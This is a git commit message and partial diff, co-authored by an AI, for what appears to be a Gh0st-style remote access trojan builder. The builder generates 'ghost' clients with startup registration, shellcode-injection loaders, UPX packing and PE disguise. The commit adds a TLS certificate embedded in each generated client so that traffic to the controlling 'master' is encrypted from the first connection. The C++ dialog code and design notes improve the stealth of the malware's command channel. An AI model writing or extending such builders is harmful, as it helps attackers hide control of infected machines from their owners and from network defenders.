Feature: Embed the master's TLS certificate in generated clients

When the server has TLS enabled, the builder can now bake its certificate into
the client it produces, so a distributed client speaks TLS on its very first
connection instead of waiting for the anchor to be pushed after a plaintext
login. The dialog gets a checkbox (IDC_CHECK_TLS_ANCHOR) that is only enabled
for payloads and protocols where an embedded anchor makes sense; the choice is
remembered even when the control flips to disabled and back, so switching
protocols cannot silently undo a deliberate opt-out. Every label variant stays
short enough to fit the 196 DLU field, including the German ones. A template
that predates the anchor block no longer aborts generation: it warns, clears
the checkbox and produces a plain client, so a master upgraded without
rebuilding the ghost/ServerDll resources does not block every build.

The certificate lands in a fixed 4 KiB block (magic, version, length, FNV-1a
hash, master address, PEM) carved out of the payload at build time. The client
reads its trust anchor from four sources in order: the tls_disabled marker,
the certificate the server pushed into the registry, a PEM file next to the
executable, and finally the embedded block.

The embedded block only applies to a connection whose target matches the
master recorded at generation time, compared as an address set: an exact
string match when only one address is configured, or an intersection of
resolved IPv4 addresses otherwise. A transferred, shared or parallel instance
falls back to the old plaintext first-connect path instead of pinning itself
to a certificate it can never verify. That decision is made per connection,
not per process: shared and parallel instances are threads inside a single
client process, so a process-wide flag let whichever instance connected first
decide for all of them, and the first load of the TLS state cached that answer
for good. The TLS layer now keeps two cached states (embedded anchor allowed,
and not allowed), picks one per handshake, and reports the anchor source of
that handshake for the login capability bit. Matching by resolved address also
keeps parallel mode working, where the connection goes to the single IP the
domain pool selected while the configured master is a domain or a list.

Server side, generated and updated payloads get the block written in place;
the client reports the capability bit on login so the console can tell which
hosts are already TLS-only on first connect. Loading the anchor decodes every
PEM block in the chain rather than just the leaf, and an anchor that exists
but fails to load keeps the old fail-closed behaviour. A pushed anchor only
reconnects when the transport of the live connection actually changes, judged
against that connection's own target rather than the process-wide switch.

This was verified end to end against a freshly generated client with an empty
registry: the first connection was a TLS 1.2 ClientHello 0.2 s after start,
and a four-certificate fullchain loaded all four blocks. Re-verified after the
per-connection rework with the anchor block patched into a debug client: with
a matching master the first bytes are a ClientHello, with a foreign master the
client logs the skip and sends plaintext, and a domain master resolves to the
IP it connects to and still matches. A master domain that no longer resolves
falls back to plaintext within a second and is not looked up again for a
minute, instead of stalling every reconnect on a DNS timeout while holding the
lock the certificate verification needs.

Co-Authored-By: deepseek-flash
This commit is contained in:
yuanyuanxianganddeepseek-flash committed 2026-11-01 20:40:02 +01:00
1 parent c4021e1fc9
commit 951b4072e5
31 files changed
+1911 -122

No files matched your search

+114
View File
@@ -13,6 +13,8 @@
#include <Shlwapi.h>
#pragma comment(lib, "Shlwapi.lib")
#include "Resource.h"
#include "EmbeddedAnchor.h"
#include "ServerTlsSession.h"
extern "C" {
#include "client/reg_startup.h"
}
@@ -221,6 +223,7 @@ CBuildDlg::CBuildDlg(CWnd* pParent)
, m_sInstallDir(_T(""))
, m_sInstallName(_T(""))
, m_sDownloadUrl(_T(""))
, m_nAnchorUserCheck(-1)
{
}
@@ -278,6 +281,8 @@ BEGIN_MESSAGE_MAP(CBuildDlg, CDialog)
ON_COMMAND(ID_RANDOM_NAME, &CBuildDlg::OnRandomName)
ON_BN_CLICKED(IDC_CHECK_FILESERVER, &CBuildDlg::OnBnClickedCheckFileserver)
ON_CBN_SELCHANGE(IDC_COMBO_PAYLOAD, &CBuildDlg::OnCbnSelchangeComboPayload)
ON_CBN_SELCHANGE(IDC_COMBO_PROTO, &CBuildDlg::OnCbnSelchangeComboProto)
ON_BN_CLICKED(IDC_CHECK_TLS_ANCHOR, &CBuildDlg::OnBnClickedCheckTlsAnchor)
END_MESSAGE_MAP()
@@ -589,6 +594,34 @@ void CBuildDlg::OnBnClickedOk()
return;
}
// 内嵌 TLS 信任锚:让这批客户端首连即 TLS,不必等主控在线下发(设计文档 §3.3)。
// 位置很关键——锚块与 CONNECT_ADDRESS 走同一条字节搬运路径,写在这里之后,
// 下面的 UPX / ShellCode / PE 伪装都会把它原样带进最终产物。
// 写了一半失败一律放弃生成:半截的锚会让客户端进 fail-closed 且没有恢复通道。
// 特例是 NoBlock——模板里根本没有锚块,一个字节都没动,产物与「没这个特性」的
// 客户端完全一样。升级主控后忘了重编 ghost/ServerDll 资源时每次生成都会被默认
// 勾选挡下(复选框没表过态就是勾着的),所以这里只提示 + 取消勾选,照常生成。
DWORD anchorLen = 0;
if (m_ChkTlsAnchor.GetSafeHwnd() && m_ChkTlsAnchor.IsWindowEnabled() &&
m_ChkTlsAnchor.GetCheck() == BST_CHECKED) {
std::string anchorErr;
EmbedResult embed = EmbedTlsAnchorInto(szBuffer, dwFileSize, m_strIP.GetString(),
anchorLen, anchorErr);
if (embed == EmbedResult::NoBlock) {
MessageBoxL(_TR("提示: 客户端模板里没有内嵌锚块,本次按普通客户端生成;"
"重编 ghost/ServerDll 资源后可再次启用。") + "\r\n" + file,
"提示", MB_ICONINFORMATION);
m_nAnchorUserCheck = 0;
m_ChkTlsAnchor.SetCheck(BST_UNCHECKED);
} else if (embed != EmbedResult::Ok) {
MessageBoxL(_TR("内嵌 TLS 信任锚失败,已取消生成:") + "\r\n" + CString(anchorErr.c_str()) +
"\r\n" + _TR("可取消勾选「内嵌TLS信任锚」后重试。") + "\r\n" + file,
"提示", MB_ICONWARNING);
SAFE_DELETE_ARRAY(szBuffer);
return;
}
}
// 保存文件
char path[_MAX_PATH], * p = path;
GetModuleFileNameA(NULL, path, sizeof(path));
@@ -611,6 +644,16 @@ void CBuildDlg::OnBnClickedOk()
tip += g_ConnectAddress.protoType==PROTO_KCP ? "\n" + _TR("提示: 使用KCP协议生成服务,必须设置主控UDP协议参数为1。") : _T("");
tip += (g_ConnectAddress.protoType==PROTO_WS || g_ConnectAddress.protoType==PROTO_WSS) ?
"\n" + _TR("提示: WebSocket协议需经反向代理(如nginx 443)转发到主控端口,地址填域名。") : _T("");
if (anchorLen > 0) {
// 带上锚摘要:内置证书可能在服务端重建过程中换了一张,光看「成功」发现不了。
std::string summary;
tip += "\r\n" + _TR("已内嵌TLS信任锚") + ": " +
(TlsAnchorSummary(summary) ? CString(summary.c_str()) : CString("?"));
} else if (index == IndexServerDll && m_ChkTlsAnchor.IsWindowEnabled()) {
// 生成 ServerDll.dll 却没勾内嵌锚,等于 TestRun 那条链上一个能加密的客户端都
// 没有——非阻塞提示(设计文档 §4.7)。
tip += "\r\n" + _TR("提示: 未内嵌TLS信任锚,本批客户端首次连接为明文,需主控在线下发锚。");
}
std::string upx;
int sel = m_ComboCompress.GetCurSel();
if(sel == CLIENT_COMPRESS_UPX)upx = ReleaseUPX();
@@ -911,6 +954,19 @@ BOOL CBuildDlg::OnInitDialog()
m_strPort.Format("%d", effectivePort);
UpdateData(FALSE);
// 内嵌 TLS 信任锚复选框:动态创建在「协议」行与「Port」行之间的空白带(DLU
// 216,70 — 412,82)。动态创建的好处是文案走语言文件、不必新增资源控件,位置也只
// 在这一个地方维护。
CRect rcAnchor(216, 70, 412, 82);
MapDialogRect(&rcAnchor);
m_ChkTlsAnchor.Create(_TR("内嵌TLS信任锚(首连即加密)"),
WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_AUTOCHECKBOX,
rcAnchor, this, IDC_CHECK_TLS_ANCHOR);
// 运行时创建的控件不继承对话框字体(模板里的控件是对话框管理器按 DS_SETFONT 设的),
// 不显式设置就会用系统默认字体,和旁边的下拉框、单选按钮对不上。
m_ChkTlsAnchor.SetFont(GetFont());
UpdateTlsAnchorState();
return TRUE; // return TRUE unless you set the focus to a control
// 异常: OCX 属性页应返回 FALSE
}
@@ -963,10 +1019,68 @@ void CBuildDlg::EnableWindowsOnlyControls(BOOL enable)
}
}
// 「内嵌 TLS 信任锚」复选框的可用性与文案。三个条件缺一不可(设计文档 §4.7):
// 1. 生成目标里真的有客户端代码(ghost.exe / ServerDll.dll);
// 2. 协议会用到这份锚(TCP / HTTP;WS 走明文,WSS 的锚是反代那张证书);
// 3. 服务端自己有可用身份(ServerTlsIdentity::IsReady)。
// 不可用时置灰,并把原因写进文案本身——置灰控件收不到 tooltip,提示只能靠文案带出去。
void CBuildDlg::UpdateTlsAnchorState()
{
if (!m_ChkTlsAnchor.GetSafeHwnd())
return;
const int index = m_ComboExe.GetCurSel();
const int proto = m_ComboProto.GetCurSel();
const bool embeddable = (index == IndexGhost || index == IndexGhostMsc ||
index == IndexGhostSystem || index == IndexServerDll);
const bool testRun = (index == IndexTestRun_DLL || index == IndexTestRun_MemDLL ||
index == IndexTestRun_InjSC || index == IndexTestRunMsc ||
index == IndexTestRunSystem);
CString label;
bool usable = false;
if (!embeddable) {
// TestRun 只是加载器,锚要生成进 ServerDll.dll —— 这条提示比「不含客户端」有用。
label = testRun ? _TR("内嵌TLS信任锚(锚在ServerDll.dll里)")
: _TR("内嵌TLS信任锚(该目标不含客户端)");
} else if (proto != PROTO_TCP && proto != PROTO_HTTP) {
label = _TR("内嵌TLS信任锚(该协议不走TLS)");
} else if (!ServerTlsIdentity::IsReady()) {
label = _TR("内嵌TLS信任锚(服务端未启用TLS)");
} else {
label = _TR("内嵌TLS信任锚(首连即加密)");
usable = true;
}
m_ChkTlsAnchor.SetWindowText(label);
m_ChkTlsAnchor.EnableWindow(usable);
if (!usable) {
// 不可用时一律显示成未勾选;用户此前的表态留在 m_nAnchorUserCheck 里。
m_ChkTlsAnchor.SetCheck(BST_UNCHECKED);
} else {
// 没表过态就默认勾选;表过态(尤其是主动取消)就以用户的为准。不能用
// 「由不可用变可用就勾上」来判断——那样切一次协议再切回来,会把用户的
// 取消悄悄改回勾选,生成时真就内嵌进去了。
m_ChkTlsAnchor.SetCheck(m_nAnchorUserCheck < 0 ? BST_CHECKED : m_nAnchorUserCheck);
}
}
void CBuildDlg::OnBnClickedCheckTlsAnchor()
{
if (m_ChkTlsAnchor.GetSafeHwnd())
m_nAnchorUserCheck = m_ChkTlsAnchor.GetCheck();
}
void CBuildDlg::OnCbnSelchangeComboProto()
{
UpdateTlsAnchorState();
}
void CBuildDlg::OnCbnSelchangeComboExe()
{
auto n = m_ComboExe.GetCurSel();
EnableWindowsOnlyControls(!(n == IndexLinuxGhost || n == IndexMacGhost || n == IndexAndroidGhost));
UpdateTlsAnchorState();
if (n == OTHER_ITEM) {
CString name = GetFilePath(_T("dll"), _T("All Files (*.*)|*.*|DLL Files (*.dll)|*.dll|EXE Files (*.exe)|*.exe|"));
if (!name.IsEmpty()) {